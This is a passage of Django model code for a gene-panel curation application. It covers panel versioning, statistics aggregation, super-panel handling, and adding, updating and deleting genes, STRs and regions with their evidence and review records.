\"-minor_version\"]\n\n objects = GenePanelSnapshotManager()\n\n level4title = models.ForeignKey(Level4Title, on_delete=models.CASCADE)\n panel = models.ForeignKey(GenePanel, on_delete=models.CASCADE)\n major_version = models.IntegerField(default=0, db_index=True)\n minor_version = models.IntegerField(default=0, db_index=True)\n version_comment = models.TextField(null=True)\n old_panels = ArrayField(models.CharField(max_length=255), blank=True, null=True)\n\n child_panels = models.ManyToManyField(\"self\", symmetrical=False)\n stats = JSONField(default=dict, blank=True)\n\n def __str__(self):\n return \"{} v{}.{}\".format(\n self.level4title.name, self.major_version, self.minor_version\n )\n\n def get_absolute_url(self):\n return reverse(\"panels:detail\", args=(self.panel.pk,))\n\n @cached_property\n def is_child_panel(self):\n return bool(self.genepanelsnapshot_set.count())\n\n @cached_property\n def is_super_panel(self):\n \"\"\"Check if panel is super panel\n\n Useful as we need to check in gene evaluations, updates, rendering, imports.\n\n We don't store any information about entities in this panel. This panel is only for the referencing\n other panels.\n\n :return: bool if panel is super panel\n \"\"\"\n return bool(self.child_panels.count())\n\n def _get_stats(self, use_db=True):\n \"\"\"Get stats for a panel, i.e. number of reviewers, genes, evaluated genes, etc\"\"\"\n\n keys = [\n \"gene_reviewers\",\n \"number_of_evaluated_genes\",\n \"number_of_genes\",\n \"number_of_ready_genes\",\n \"number_of_green_genes\",\n \"str_reviewers\",\n \"number_of_evaluated_strs\",\n \"number_of_strs\",\n \"number_of_ready_strs\",\n \"number_of_green_strs\",\n \"region_reviewers\",\n \"number_of_evaluated_regions\",\n \"number_of_regions\",\n \"number_of_ready_regions\",\n \"number_of_green_regions\",\n ]\n\n pks = [self.pk]\n if self.is_super_panel:\n if use_db:\n pks = self.child_panels.values_list(\"pk\", flat=True)\n else:\n stats_list = self.child_panels.values_list(\"stats\", flat=True)\n # combine stats\n combined_stats = {}\n for stats in stats_list:\n for key, value in stats.items():\n if key in combined_stats:\n if isinstance(combined_stats[key], list):\n combined_stats[key] = list(\n set(combined_stats[key] + stats[key])\n )\n elif isinstance(combined_stats[key], int):\n combined_stats[key] = combined_stats[key] + stats[key]\n else:\n combined_stats[key] = stats[key]\n return combined_stats\n\n # another way to refactor below info: when copying data, just count the numbers...\n\n info_genes = GenePanelSnapshot.objects.filter(pk__in=pks).aggregate(\n gene_reviewers=ArrayAgg(\n \"genepanelentrysnapshot__evaluation__user\", distinct=True\n ),\n number_of_evaluated_genes=Count(\n Case(\n # Count unique genes if that gene has more than 1 evaluation\n When(\n genepanelentrysnapshot__evaluation__isnull=False,\n then=models.F(\"genepanelentrysnapshot\"),\n )\n ),\n distinct=True,\n ),\n number_of_genes=Count(\"genepanelentrysnapshot\", distinct=True),\n number_of_ready_genes=Count(\n Case(\n When(\n genepanelentrysnapshot__ready=True,\n then=models.F(\"genepanelentrysnapshot\"),\n )\n ),\n distinct=True,\n ),\n number_of_green_genes=Count(\n Case(\n When(\n genepanelentrysnapshot__saved_gel_status__gte=3,\n then=models.F(\"genepanelentrysnapshot\"),\n )\n ),\n distinct=True,\n ),\n )\n\n info_strs = GenePanelSnapshot.objects.filter(pk__in=pks).aggregate(\n str_reviewers=ArrayAgg(\"str__evaluation__user\", distinct=True),\n number_of_evaluated_strs=Count(\n Case(\n # Count unique genes if that gene has more than 1 evaluation\n When(str__evaluation__isnull=False, then=models.F(\"str\"))\n ),\n distinct=True,\n ),\n number_of_strs=Count(\"str\", distinct=True),\n number_of_ready_strs=Count(\n Case(When(str__ready=True, then=models.F(\"str\"))), distinct=True\n ),\n number_of_green_strs=Count(\n Case(When(str__saved_gel_status__gte=3, then=models.F(\"str\"))),\n distinct=True,\n ),\n )\n\n info_regions = GenePanelSnapshot.objects.filter(pk__in=pks).aggregate(\n region_reviewers=ArrayAgg(\"region__evaluation__user\", distinct=True),\n number_of_evaluated_regions=Count(\n Case(\n # Count unique genes if that gene has more than 1 evaluation\n When(region__evaluation__isnull=False, then=models.F(\"region\"))\n ),\n distinct=True,\n ),\n number_of_regions=Count(\"region\", distinct=True),\n number_of_ready_regions=Count(\n Case(When(region__ready=True, then=models.F(\"region\"))), distinct=True\n ),\n number_of_green_regions=Count(\n Case(When(region__saved_gel_status__gte=3, then=models.F(\"region\"))),\n distinct=True,\n ),\n )\n\n out = {\"gene_reviewers\": [], \"str_reviewers\": [], \"region_reviewers\": []}\n\n for key in keys:\n if key not in ['str_reviewers', 'region_reviewers']:\n out[key] = out.get(key, 0) + info_genes.get(key, 0)\n\n if key not in ['gene_reviewers', 'region_reviewers']:\n out[key] = out.get(key, 0) + info_strs.get(key, 0)\n\n if key not in ['str_reviewers', 'gene_reviewers']:\n out[key] = out.get(key, 0) + info_regions.get(key, 0)\n\n out[\"gene_reviewers\"] = list(\n set([r for r in out[\"gene_reviewers\"] if r])\n ) #  remove None\n out[\"str_reviewers\"] = list(\n set([r for r in out[\"str_reviewers\"] if r])\n ) # remove None\n out[\"region_reviewers\"] = list(\n set([r for r in out[\"region_reviewers\"] if r])\n ) # remove None\n out[\"entity_reviewers\"] = list(\n set(out[\"gene_reviewers\"] + out[\"str_reviewers\"] + out[\"region_reviewers\"])\n )\n out[\"number_of_reviewers\"] = len(out[\"entity_reviewers\"])\n out[\"number_of_evaluated_entities\"] = (\n out[\"number_of_evaluated_genes\"]\n + out[\"number_of_evaluated_strs\"]\n + out[\"number_of_evaluated_regions\"]\n )\n out[\"number_of_entities\"] = (\n out[\"number_of_genes\"] + out[\"number_of_strs\"] + out[\"number_of_regions\"]\n )\n out[\"number_of_ready_entities\"] = (\n out[\"number_of_ready_genes\"]\n + out[\"number_of_ready_strs\"]\n + out[\"number_of_ready_regions\"]\n )\n out[\"number_of_green_entities\"] = (\n out[\"number_of_green_genes\"]\n + out[\"number_of_green_strs\"]\n + out[\"number_of_green_regions\"]\n )\n return out\n\n def _update_saved_stats(self, use_db=True, update_superpanels=True):\n \"\"\"Get the new values from the database\"\"\"\n self.stats = self._get_stats(use_db=use_db)\n self.save(update_fields=[\"stats\"])\n\n if update_superpanels:\n for super_panel in self.genepanelsnapshot_set.all():\n super_panel._update_saved_stats(use_db=use_db)\n\n @property\n def version(self):\n return \"{}.{}\".format(self.major_version, self.minor_version)\n\n def update_child_panels(self):\n if not self.is_super_panel:\n return\n\n self.increment_version()\n\n panels_changed = False\n updated_child_panels = []\n for child_panel in self.child_panels.all():\n active_child_panel = child_panel.panel.active_panel\n if child_panel != active_child_panel:\n panels_changed = True\n updated_child_panels.append(active_child_panel.pk)\n else:\n updated_child_panels.append(child_panel.pk)\n\n if panels_changed:\n self.child_panels.set(updated_child_panels)\n\n def increment_version(self, major=False, user=None, comment=None, include_superpanels=True):\n \"\"\"Creates a new version of the panel.\n\n This script copies all genes, all information for these genes, and also\n you can add a comment and a user if it's a major version increment.\n\n DO NOT use it inside the methods of either genes or GenePanelSnapshot.\n This has weird behaviour as self references still goes to the previous\n snapshot and not the new one.\n \"\"\"\n from .historical_snapshot import HistoricalSnapshot\n\n if self != self.panel.active_panel:\n raise Exception(\"Cannot increment non recent version\")\n\n with transaction.atomic():\n HistoricalSnapshot.import_panel(self, comment=comment)\n\n self.created = timezone.now()\n self.modified = timezone.now()\n\n if major:\n self.major_version += 1\n self.minor_version = 0\n else:\n self.minor_version += 1\n\n self.save()\n\n if not self.is_super_panel:\n if major:\n email_panel_promoted.delay(self.panel.pk)\n\n activity = \"promoted panel to version {}\".format(self.version)\n self.add_activity(user, activity)\n\n self.version_comment = \"{} {} promoted panel to {}\\n{}\\n\\n{}\".format(\n timezone.now().strftime(\"%Y-%m-%d %H:%M\"),\n user.get_reviewer_name(),\n self.version,\n comment,\n self.version_comment if self.version_comment else \"\",\n )\n self.save()\n\n # increment versions of any super panel\n if include_superpanels:\n super_panel_ids = self.genepanelsnapshot_set.values_list('pk', flat=True)\n super_panels = self.genepanelsnapshot_set.get_active_annotated(all=True, deleted=True, internal=True).filter(pk__in=super_panel_ids)\n for panel in super_panels:\n if user:\n increment_panel_async(panel.pk, user_pk=user.pk, major=major, update_stats=False)\n else:\n increment_panel_async(panel.pk, major=major, update_stats=False)\n\n return self\n\n @cached_property\n def contributors(self):\n \"\"\"Returns a tuple with user data\n\n Returns:\n A tuple with the user first and last name, email, and reviewer affiliation\n \"\"\"\n\n gene_contributors = list(\n self.genepanelentrysnapshot_set.values_list(\n \"evaluation__user_id\", flat=True\n ).distinct()\n )\n strs_contributors = list(\n self.str_set.values_list(\"evaluation__user_id\", flat=True).distinct()\n )\n region_contributors = list(\n self.region_set.values_list(\"evaluation__user_id\", flat=True).distinct()\n )\n\n combined_contributors = set(\n gene_contributors + strs_contributors + region_contributors\n )\n users = User.objects.filter(pk__in=combined_contributors).prefetch_related(\n \"reviewer\"\n )\n return users\n\n def mark_entities_not_ready(self):\n \"\"\"Mark entities (genes, STRs, regions) as not ready\n\n Returns:\n None\n \"\"\"\n\n if self.is_super_panel:\n raise IsSuperPanelException\n\n self.cached_genes.update(ready=False)\n self.cached_strs.update(ready=False)\n self.cached_regions.update(ready=False)\n\n def get_form_initial(self):\n return {\n \"level4\": self.level4title.name,\n \"level2\": self.level4title.level2title,\n \"level3\": self.level4title.level3title,\n \"description\": self.level4title.description,\n \"omim\": \", \".join(self.level4title.omim),\n \"orphanet\": \", \".join(self.level4title.orphanet),\n \"hpo\": \", \".join(self.level4title.hpo),\n \"old_panels\": \", \".join(self.old_panels),\n }\n\n @cached_property\n def cached_genes(self):\n if self.is_super_panel:\n child_panels = self.child_panels.values_list(\"pk\", flat=True)\n qs = self.genepanelentrysnapshot_set.model.objects.filter(\n panel_id__in=child_panels\n ).prefetch_related(\n \"panel\", \"panel__level4title\", \"panel__panel\", \"tags\", \"evidence\"\n )\n else:\n qs = self.genepanelentrysnapshot_set.all()\n\n return qs.annotate(\n entity_type=V(\"gene\", output_field=models.CharField()),\n entity_name=models.F(\"gene_core__gene_symbol\"),\n ).order_by(\"entity_name\")\n\n @cached_property\n def cached_strs(self):\n if self.is_super_panel:\n child_panels = self.child_panels.values_list(\"pk\", flat=True)\n qs = self.str_set.model.objects.filter(\n panel_id__in=child_panels\n ).prefetch_related(\n \"panel\", \"panel__level4title\", \"panel__panel\", \"tags\", \"evidence\"\n )\n else:\n qs = self.str_set.all()\n\n return qs.annotate(\n entity_type=V(\"str\", output_field=models.CharField()),\n entity_name=models.F(\"name\"),\n ).order_by(\"entity_name\")\n\n @cached_property\n def cached_regions(self):\n if self.is_super_panel:\n child_panels = self.child_panels.values_list(\"pk\", flat=True)\n qs = self.region_set.model.objects.filter(\n panel_id__in=child_panels\n ).prefetch_related(\n \"panel\", \"panel__level4title\", \"panel__panel\", \"tags\", \"evidence\"\n )\n else:\n qs = self.region_set.all()\n\n return qs.annotate(\n entity_type=V(\"region\", output_field=models.CharField()),\n entity_name=models.F(\"name\"),\n ).order_by(\"entity_name\")\n\n @cached_property\n def current_genes(self):\n \"\"\"Select and cache gene names\"\"\"\n return list(self.current_genes_count.keys())\n\n @cached_property\n def current_strs(self):\n \"\"\"Select and cache gene names\"\"\"\n return list(self.current_strs_count.keys())\n\n @cached_property\n def current_regions(self):\n \"\"\"Select and cache gene names\"\"\"\n return list(self.current_regions_count.keys())\n\n @cached_property\n def current_genes_count(self):\n genes_list = [\n g.get(\"gene_symbol\")\n for g in self.cached_genes.values_list(\"gene\", flat=True)\n ]\n return {gene: genes_list.count(gene) for gene in genes_list if gene}\n\n @cached_property\n def current_strs_count(self):\n strs_list = [s for s in self.cached_strs.values_list(\"name\", flat=True)]\n return {\n str_item: strs_list.count(str_item) for str_item in strs_list if str_item\n }\n\n @cached_property\n def current_regions_count(self):\n regions_list = [r for r in self.cached_regions.values_list(\"name\", flat=True)]\n return {region: regions_list.count(region) for region in regions_list if region}\n\n @cached_property\n def current_genes_duplicates(self):\n return [\n gene\n for gene in self.current_genes_count\n if self.current_genes_count[gene] > 1\n ]\n\n @staticmethod\n def get_all(qs):\n return qs.annotate(\n evidences=ArrayAgg(\"evidence\", distinct=True),\n evaluations=ArrayAgg(\"evaluation\", distinct=True),\n gene_tags=ArrayAgg(\"tags\", distinct=True),\n tracks=ArrayAgg(\"track\", distinct=True),\n comment_pks=ArrayAgg(\"comments\", distinct=True),\n )\n\n @cached_property\n def get_all_genes(self):\n \"\"\"Returns all Genes for this panel\"\"\"\n\n return self.get_all(self.cached_genes)\n\n @cached_property\n def get_all_strs(self):\n \"\"\"Returns all Genes for this panel\"\"\"\n\n return self.get_all(self.cached_strs)\n\n @cached_property\n def get_all_entities_extra(self):\n \"\"\"Get all genes and annotated info, speeds up loading time\"\"\"\n res = (\n list(self.get_all_genes_extra)\n + list(self.get_all_strs_extra)\n + list(self.get_all_regions_extra)\n )\n return sorted(\n res, key=lambda x: (x.saved_gel_status * -1, x.entity_name.lower())\n )\n\n @cached_property\n def get_all_regions(self):\n \"\"\"Returns all Regions for this panel\"\"\"\n return self.get_all(self.cached_regions)\n\n def get_all_extra(self, qs):\n return qs.annotate(\n entity_tags=ArrayAgg(\"tags__name\", distinct=True),\n number_of_green_evaluations=Count(\n Case(When(evaluation__rating=\"GREEN\", then=models.F(\"evaluation\"))),\n distinct=True,\n ),\n number_of_red_evaluations=Count(\n Case(When(evaluation__rating=\"RED\", then=models.F(\"evaluation\"))),\n distinct=True,\n ),\n evaluators=ArrayAgg(\"evaluation__user_id\"),\n number_of_evaluations=Count(\"evaluation\", distinct=True),\n ).order_by(\"-saved_gel_status\", \"entity_name\")\n\n @cached_property\n def get_all_genes_extra(self):\n \"\"\"Get all genes and annotated info, speeds up loading time\"\"\"\n\n qs = self.get_all_extra(self.cached_genes).annotate(\n entity_type=V(\"gene\", output_field=models.CharField()),\n entity_name=models.F(\"gene_core__gene_symbol\"),\n )\n\n if self.is_super_panel:\n out = []\n for item in qs.prefetch_related(\"evidence\"):\n item.entity_evidences = [e.name for e in item.evidence.all()]\n out.append(item)\n return out\n else:\n return qs.annotate(\n entity_evidences=ArrayAgg(\"evidence__name\", distinct=True)\n )\n\n @cached_property\n def get_all_genes_prefetch(self):\n \"\"\"Get all genes and annotated info, speeds up loading time\"\"\"\n\n qs = (\n self.get_all_extra(self.cached_genes)\n .annotate(\n entity_type=V(\"gene\", output_field=models.CharField()),\n entity_name=models.F(\"gene_core__gene_symbol\"),\n )\n .prefetch_related(\"evidence\", \"tags\", \"panel__panel__types\",)\n )\n\n if self.is_super_panel:\n out = []\n for item in qs:\n item.entity_evidences = [e.name for e in item.evidence.all()]\n out.append(item)\n return out\n else:\n return qs\n\n @cached_property\n def get_all_strs_extra(self):\n \"\"\"Get all strs and annotated info, speeds up loading time\"\"\"\n\n qs = self.get_all_extra(self.cached_strs).annotate(\n entity_type=V(\"str\", output_field=models.CharField()),\n entity_name=models.F(\"name\"),\n )\n\n if self.is_super_panel:\n qs = qs.prefetch_related(\"evidence\")\n out = []\n for item in qs:\n item.entity_evidences = [e.name for e in item.evidence.all()]\n out.append(item)\n return out\n else:\n return qs.annotate(\n entity_evidences=ArrayAgg(\"evidence__name\", distinct=True)\n )\n\n @cached_property\n def get_all_strs_prefetch(self):\n \"\"\"Get all strs and annotated info, speeds up loading time\"\"\"\n\n qs = (\n self.get_all_extra(self.cached_strs)\n .annotate(\n entity_type=V(\"str\", output_field=models.CharField()),\n entity_name=models.F(\"name\"),\n )\n .prefetch_related(\"evidence\", \"tags\", \"panel__panel__types\",)\n )\n\n if self.is_super_panel:\n out = []\n for item in qs:\n item.entity_evidences = [e.name for e in item.evidence.all()]\n out.append(item)\n return out\n else:\n return qs\n\n @cached_property\n def get_all_regions_extra(self):\n \"\"\"Get all genes and annotated info, speeds up loading time\"\"\"\n\n qs = self.get_all_extra(self.cached_regions).annotate(\n entity_type=V(\"region\", output_field=models.CharField()),\n entity_name=models.F(\"name\"),\n )\n\n if self.is_super_panel:\n qs = qs.prefetch_related(\"evidence\")\n out = []\n for item in qs:\n item.entity_evidences = [e.name for e in item.evidence.all()]\n out.append(item)\n return out\n else:\n return qs.annotate(\n entity_evidences=ArrayAgg(\"evidence__name\", distinct=True)\n )\n\n @cached_property\n def get_all_regions_prefetch(self):\n \"\"\"Get all genes and annotated info, speeds up loading time\"\"\"\n\n qs = (\n self.get_all_extra(self.cached_regions)\n .annotate(\n entity_type=V(\"region\", output_field=models.CharField()),\n entity_name=models.F(\"name\"),\n )\n .prefetch_related(\"evidence\", \"tags\", \"panel__panel__types\")\n )\n\n if self.is_super_panel:\n out = []\n for item in qs:\n item.entity_evidences = [e.name for e in item.evidence.all()]\n out.append(item)\n return out\n else:\n return qs\n\n def get_gene_by_pk(self, gene_pk, prefetch_extra=False):\n \"\"\"Get a gene for a specific pk.\"\"\"\n\n if prefetch_extra:\n return self.get_all_genes_extra.prefetch_related(\n \"evaluation__comments\",\n \"evaluation__user__reviewer\",\n \"track\",\n \"track__user\",\n \"track__user__reviewer\",\n ).get(pk=gene_pk)\n else:\n return self.get_all_genes.get(pk=gene_pk)\n\n def get_entity(self, entity_name, method_type, use_gene, prefetch_extra):\n assert method_type in [\"genes\", \"strs\", \"regions\"]\n\n if prefetch_extra:\n qs = getattr(self, \"get_all_{}_extra\".format(method_type))\n else:\n qs = getattr(self, \"get_all_{}\".format(method_type))\n\n if use_gene:\n return qs.get(gene__gene_symbol=entity_name)\n else:\n return qs.get(name=entity_name)\n\n def get_gene(self, gene_symbol, prefetch_extra=False):\n \"\"\"Get a gene for a specific gene symbol.\"\"\"\n\n return self.get_entity(gene_symbol, \"genes\", True, prefetch_extra)\n\n def has_gene(self, gene_symbol):\n \"\"\"Check if the panel has a gene with the provided gene symbol\"\"\"\n\n if self.is_super_panel:\n raise IsSuperPanelException\n\n return gene_symbol in [\n symbol.get(\"gene_symbol\")\n for symbol in self.cached_genes.values_list(\"gene\", flat=True)\n ]\n\n def get_str(self, name, prefetch_extra=False):\n \"\"\"Get a STR.\"\"\"\n\n if self.is_super_panel:\n raise IsSuperPanelException\n\n return self.get_entity(name, \"strs\", False, prefetch_extra)\n\n def has_str(self, str_name):\n if self.is_super_panel:\n raise IsSuperPanelException\n\n return self.str_set.filter(name=str_name).count() > 0\n\n def get_region(self, name, prefetch_extra=False):\n \"\"\"Get a Region.\"\"\"\n\n return self.get_entity(name, \"regions\", False, prefetch_extra)\n\n def has_region(self, region_name):\n return self.region_set.filter(name=region_name).count() > 0\n\n def clear_cache(self, to_clear=None):\n if not to_clear:\n to_clear = [\n \"cached_genes\",\n \"current_genes_count\",\n \"current_genes_duplicates\",\n \"current_genes\",\n \"get_all_genes\",\n \"get_all_genes_extra\",\n \"cached_strs\",\n \"get_all_strs\",\n \"get_all_strs_extra\",\n \"cached_regions\",\n \"get_all_regions\",\n \"get_all_regions_extra\",\n \"contributors\",\n ]\n\n for item in to_clear:\n if self.__dict__.get(item):\n del self.__dict__[item]\n\n @staticmethod\n def clear_django_cache():\n cache.delete(\"entities\")\n cache.delete(\"entities_admin\")\n\n def delete_gene(self, gene_symbol, increment=True, user=None):\n \"\"\"Removes gene from a panel, but leaves it in the previous versions of the same panel\"\"\"\n\n if self.is_super_panel:\n raise IsSuperPanelException\n\n if self.has_gene(gene_symbol):\n if increment:\n self = self.increment_version()\n\n self.get_all_genes.get(gene__gene_symbol=gene_symbol).delete()\n self.clear_cache()\n self.clear_django_cache()\n\n if user:\n self.add_activity(\n user, \"removed gene:{} from the panel\".format(gene_symbol)\n )\n\n self._update_saved_stats()\n return True\n else:\n return False\n\n def delete_str(self, str_name, increment=True, user=None):\n \"\"\"Removes STR from a panel, but leaves it in the previous versions of the same panel\"\"\"\n\n if self.is_super_panel:\n raise IsSuperPanelException\n\n if self.has_str(str_name):\n if increment:\n self = self.increment_version()\n\n self.cached_strs.get(name=str_name).delete()\n self.clear_cache()\n self.clear_django_cache()\n\n if user:\n self.add_activity(\n user, \"removed STR:{} from the panel\".format(str_name)\n )\n\n self._update_saved_stats()\n return True\n else:\n return False\n\n def delete_region(self, region_name, increment=True, user=None):\n \"\"\"Removes Region from a panel, but leaves it in the previous versions of the same panel\"\"\"\n\n if self.has_region(region_name):\n if increment:\n self = self.increment_version()\n\n self.cached_regions.get(name=region_name).delete()\n self.clear_cache()\n self.clear_django_cache()\n\n if user:\n self.add_activity(\n user, \"removed region:{} from the panel\".format(region_name)\n )\n\n self._update_saved_stats()\n return True\n else:\n return False\n\n def add_entity_info(self, entity, user, entity_name, entity_data):\n \"\"\"Add entity common info to the database\n\n :param entity: Entity object\n :param user: User - Request user\n :param entity_name: str - Entity name\n :param entity_data: Dict entity data (form)\n :return:\n \"\"\"\n\n if entity_data.get(\"comment\"):\n comment = Comment.objects.create(\n user=user, comment=entity_data.get(\"comment\")\n )\n entity.comments.add(comment)\n\n for source in entity_data.get(\"sources\"):\n evidence = Evidence.objects.create(\n rating=5, reviewer=user.reviewer, name=source.strip()\n )\n entity.evidence.add(evidence)\n\n evidence_status = entity.evidence_status()\n tracks = []\n\n tracks.append(\n (TrackRecord.ISSUE_TYPES.Created, \"{} was added\".format(entity_name))\n )\n\n description = \"{} was added to {}. Sources: {}\".format(\n entity_name, self.panel.name, \",\".join(entity_data.get(\"sources\"))\n )\n tracks.append((TrackRecord.ISSUE_TYPES.NewSource, description))\n\n if entity_data.get(\"tags\", []):\n tags = Tag.objects.filter(pk__in=entity_data.get(\"tags\", []))\n entity.tags.add(*entity_data.get(\"tags\", []))\n\n description = \"{} tags were added to {}.\".format(\n \", \".join([str(tag) for tag in tags]), entity_name\n )\n tracks.append((TrackRecord.ISSUE_TYPES.AddedTag, description))\n\n if entity.gene and entity.gene.get(\"gene_symbol\", \"\").startswith(\"MT-\"):\n entity.moi = \"MITOCHONDRIAL\"\n description = \"Mode of inheritance for gene {} was set to {}\".format(\n entity_name, \"MITOCHONDRIAL\"\n )\n tracks.append((TrackRecord.ISSUE_TYPES.SetModeofInheritance, description))\n else:\n description = \"Mode of inheritance for {} was set to {}\".format(\n entity.label, entity.moi\n )\n tracks.append((TrackRecord.ISSUE_TYPES.SetModeofInheritance, description))\n\n if entity_data.get(\"publications\"):\n description = \"Publications for {} were set to {}\".format(\n entity.label, \"; \".join(entity.publications)\n )\n tracks.append((TrackRecord.ISSUE_TYPES.SetPublications, description))\n\n if entity_data.get(\"phenotypes\"):\n description = \"Phenotypes for {} were set to {}\".format(\n entity.label, \"; \".join(entity.phenotypes)\n )\n\n tracks.append((TrackRecord.ISSUE_TYPES.SetPhenotypes, description))\n\n if entity_data.get(\"penetrance\"):\n description = \"Penetrance for {} were set to {}\".format(\n entity.label, entity.penetrance\n )\n\n tracks.append((TrackRecord.ISSUE_TYPES.SetPenetrance, description))\n\n if entity_data.get(\"mode_of_pathogenicity\"):\n description = \"Mode of pathogenicity for {} was set to {}\".format(\n entity.label, entity.mode_of_pathogenicity\n )\n tracks.append((TrackRecord.ISSUE_TYPES.SetModeofPathogenicity, description))\n\n if entity_data.get(\"rating\"):\n description = \"Review for {} was set to {}\".format(\n entity.label, entity_data.get(\"rating\")\n )\n tracks.append((None, description))\n\n if entity_data.get(\"clinically_relevant\"):\n description = \"{} was marked as clinically relevant\".format(entity.label)\n tracks.append((None, description))\n\n if entity_data.get(\"current_diagnostic\"):\n description = \"{} was marked as current diagnostic\".format(entity.label)\n tracks.append((None, description))\n\n comment_text = entity_data.get(\"comment\", \"\")\n if (\n entity_data.get(\"rating\")\n or entity_data.get(\"comment\")\n or entity_data.get(\"source\")\n ):\n evaluation = Evaluation.objects.create(\n user=user,\n rating=entity_data.get(\"rating\"),\n mode_of_pathogenicity=entity_data.get(\"mode_of_pathogenicity\"),\n phenotypes=entity_data.get(\"phenotypes\"),\n publications=entity_data.get(\"publications\"),\n moi=entity_data.get(\"moi\"),\n current_diagnostic=entity_data.get(\"current_diagnostic\"),\n clinically_relevant=entity_data.get(\"clinically_relevant\"),\n version=self.version,\n )\n comment_text = entity_data.get(\"comment\", \"\")\n sources = \", \".join(entity_data.get(\"sources\", []))\n if sources and comment_text:\n comment_text = comment_text + \" \\nSources: \" + sources\n else:\n comment_text = \"Sources: \" + sources\n comment = Comment.objects.create(user=user, comment=comment_text)\n if entity_data.get(\"comment\") or entity_data.get(\"sources\", []):\n evaluation.comments.add(comment)\n entity.evaluation.add(evaluation)\n\n if tracks:\n description = \"\\n\".join([t[1] for t in tracks])\n track = TrackRecord.objects.create(\n gel_status=evidence_status,\n curator_status=0,\n user=user,\n issue_type=\",\".join([t[0] for t in tracks if t[0]]),\n issue_description=description,\n )\n entity.track.add(track)\n\n if comment_text:\n description = description + \"\\nAdded comment: \" + comment_text\n self.add_activity(user, description, entity)\n\n self.clear_cache()\n self.clear_django_cache()\n return entity\n\n def add_gene(self, user, gene_symbol, gene_data, increment_version=True):\n \"\"\"Adds a new gene to the panel\n\n Args:\n user: User instance. It's the user who is adding a new gene, we need\n this info to add to TrackRecord, Activities, Evidence, and Evaluation\n gene_symbol: Gene symbol string\n gene_data: A dict with the values:\n - moi\n - penetrance\n - publications\n - phenotypes\n - mode_of_pathogenicity\n - comment\n - current_diagnostic\n - sources\n - rating\n - tags\n\n Returns:\n GenePanelEntrySnapshot instance of a freshly created Gene in a Panel.\n Or False in case the gene is already in the panel.\n \"\"\"\n\n if self.is_super_panel:\n raise IsSuperPanelException\n\n if self.has_gene(gene_symbol):\n return False\n\n if increment_version:\n self = self.increment_version(user=user)\n\n gene_core = Gene.objects.get(gene_symbol=gene_symbol)\n gene_info = gene_core.dict_tr()\n\n gene = self.genepanelentrysnapshot_set.model(\n gene=gene_info,\n panel=self,\n gene_core=gene_core,\n moi=gene_data.get(\"moi\"),\n penetrance=gene_data.get(\"penetrance\"),\n publications=gene_data.get(\"publications\"),\n phenotypes=gene_data.get(\"phenotypes\"),\n mode_of_pathogenicity=gene_data.get(\"mode_of_pathogenicity\"),\n saved_gel_status=0,\n flagged=False if user.reviewer.is_GEL() else True,\n )\n gene.save()\n\n gene = self.add_entity_info(gene, user, gene.label, gene_data)\n\n gene.evidence_status(update=True)\n self._update_saved_stats()\n return gene\n\n def update_gene(self, user, gene_symbol, gene_data, append_only=False):\n \"\"\"Updates a gene if it exists in this panel\n\n Args:\n user: User instance. It's the user who is updating a gene, we need\n this info to add to TrackRecord, Activities, Evidence, and Evaluation\n gene_symbol: Gene symbol string\n gene_data: A dict with the values:\n - moi\n - penetrance\n - publications\n - phenotypes\n - mode_of_pathogenicity\n - comment\n - current_diagnostic\n - sources\n - rating\n - gene\n\n if `gene` is in the gene_data and it's different to the stored gene\n it will change the gene data, and remove the old gene from the panel.\n\n Returns:\n GenePanelEntrySnapshot if the gene was successfully updated, False otherwise\n \"\"\"\n if self.is_super_panel:\n raise IsSuperPanelException\n\n logging.debug(\n \"Updating gene:{} panel:{} gene_data:{}\".format(\n gene_symbol, self, gene_data\n )\n )\n has_gene = self.has_gene(gene_symbol=gene_symbol)\n if has_gene:\n logging.debug(\n \"Found gene:{} in panel:{}. Incrementing version.\".format(\n gene_symbol, self\n )\n )\n gene = self.get_gene(gene_symbol=gene_symbol)\n\n if gene_data.get(\"flagged\") is not None:\n gene.flagged = gene_data.get(\"flagged\")\n\n tracks = []\n evidences_names = [\n ev.strip() for ev in gene.evidence.values_list(\"name\", flat=True)\n ]\n\n logging.debug(\n \"Updating evidences_names for gene:{} in panel:{}\".format(\n gene_symbol, self\n )\n )\n if gene_data.get(\"sources\"):\n add_evidences = [\n source.strip()\n for source in gene_data.get(\"sources\")\n if source not in evidences_names\n ]\n\n has_expert_review = any(\n [evidence in Evidence.EXPERT_REVIEWS for evidence in add_evidences]\n )\n\n delete_evidences = [\n source\n for source in evidences_names\n if (has_expert_review or source not in Evidence.EXPERT_REVIEWS)\n and source not in gene_data.get(\"sources\")\n ]\n\n if append_only and has_expert_review:\n # just remove expert review\n expert_reviews = [\n source\n for source in evidences_names\n if source in Evidence.EXPERT_REVIEWS\n ]\n for expert_review in expert_reviews:\n evs = gene.evidence.filter(name=expert_review)\n for ev in evs:\n gene.evidence.remove(ev)\n elif not append_only:\n for source in delete_evidences:\n evs = gene.evidence.filter(name=source)\n for ev in evs:\n gene.evidence.remove(ev)\n logging.debug(\n \"Removing evidence:{} for gene:{} panel:{}\".format(\n source, gene_symbol, self\n )\n )\n description = \"Source {} was removed from {}.\".format(\n source, gene_symbol\n )\n tracks.append(\n (TrackRecord.ISSUE_TYPES.RemovedSource, description)\n )\n\n for source in add_evidences:\n logging.debug(\n \"Adding new source:{} for gene:{} panel:{}\".format(\n source, gene_symbol, self\n )\n )\n evidence = Evidence.objects.create(\n name=source, rating=5, reviewer=user.reviewer\n )\n gene.evidence.add(evidence)\n\n description = \"Source {} was added to {}.\".format(\n source, gene_symbol\n )\n tracks.append((TrackRecord.ISSUE_TYPES.NewSource, description))\n\n moi = gene_data.get(\"moi\")\n if moi and gene.moi != moi and not gene_symbol.startswith(\"MT-\"):\n logging.debug(\n \"Updating moi for gene:{} in panel:{}\".format(gene_symbol, self)\n )\n\n description = \"Mode of inheritance for gene {} was changed from {} to {}\".format(\n gene_symbol, gene.moi, moi\n )\n gene.moi = moi\n tracks.append(\n (TrackRecord.ISSUE_TYPES.SetModeofInheritance, description)\n )\n elif gene_symbol.startswith(\"MT-\") and gene.moi != \"MITOCHONDRIAL\":\n logging.debug(\n \"Updating moi for gene:{} in panel:{}\".format(gene_symbol, self)\n )\n gene.moi = \"MITOCHONDRIAL\"\n description = \"Mode of inheritance for gene {} was changed from {} to {}\".format(\n gene_symbol, gene.moi, \"MITOCHONDRIAL\"\n )\n gene.moi = \"MITOCHONDRIAL\"\n tracks.append(\n (TrackRecord.ISSUE_TYPES.SetModeofInheritance, description)\n )\n\n mop = gene_data.get(\"mode_of_pathogenicity\")\n if mop and gene.mode_of_pathogenicity != mop:\n logging.debug(\n 